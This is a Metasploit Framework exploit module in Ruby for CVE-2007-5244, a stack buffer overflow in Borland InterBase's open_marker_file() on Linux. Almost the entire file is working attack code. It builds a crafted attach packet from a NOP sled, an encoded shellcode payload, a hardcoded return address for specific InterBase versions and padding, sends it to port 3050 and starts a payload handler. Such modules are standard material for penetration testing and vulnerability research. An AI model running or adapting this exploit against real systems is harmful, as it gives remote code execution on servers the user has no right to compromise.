Borland InterBase open_marker_file() Buffer Overflow



##

# $Id: ib_open_marker_file.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'        => 'Borland InterBase open_marker_file() Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in Borland InterBase
                by sending a specially crafted attach request.
            },
            'Version'    => '$Revision: 9669 $',
            'Author'    =>
                [
                    'ramon',
                    'Adriano Lima <adriano@risesecurity.org>',
                ],
            'Arch'        => ARCH_X86,
            'Platform'    => 'linux',
            'References'    =>
                [
                    [ 'CVE', '2007-5244' ],
                    [ 'OSVDB', '38610' ],
                    [ 'BID', '25917' ],
                    [ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
                ],
            'Privileged'    => true,
            'License'    => MSF_LICENSE,
            'Payload'    =>
                {
                    'Space' => 512,
                    'BadChars' => "\x00\x2f\x3a\x40\x5c",
                },
            'Targets'    =>
                [
                    # 0x0804cbe4 pop esi; pop ebp; ret
                    [
                        'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
                        { 'Ret' => 0x0804cbe4 }
                    ],
                ],
            'DefaultTarget'    => 0,
            'DisclosureDate'  => 'Oct 03 2007'
        ))

        register_options(
            [
                Opt::RPORT(3050)
            ],
            self.class
        )

    end

    def exploit

        connect

        # Attach database
        op_attach = 19

        length = 1056
        remainder = length.remainder(4)
        padding = 0

        if remainder > 0
            padding = (4 - remainder)
        end

        buf = ''

        # Operation/packet type
        buf << [op_attach].pack('N')

        # Id
        buf << [0].pack('N')

        # Length
        buf << [length].pack('N')

        # It will return into this nop block
        buf << make_nops(length - payload.encoded.length - 4)

        # Payload
        buf << payload.encoded

        # Target
        buf << [target.ret].pack('V')

        # Padding
        buf << "\x00" * padding

        # Database parameter block

        # Length
        buf << [1024].pack('N')

        # Random alpha data
        buf << rand_text_alpha(1024)

        sock.put(buf)

        handler

    end

end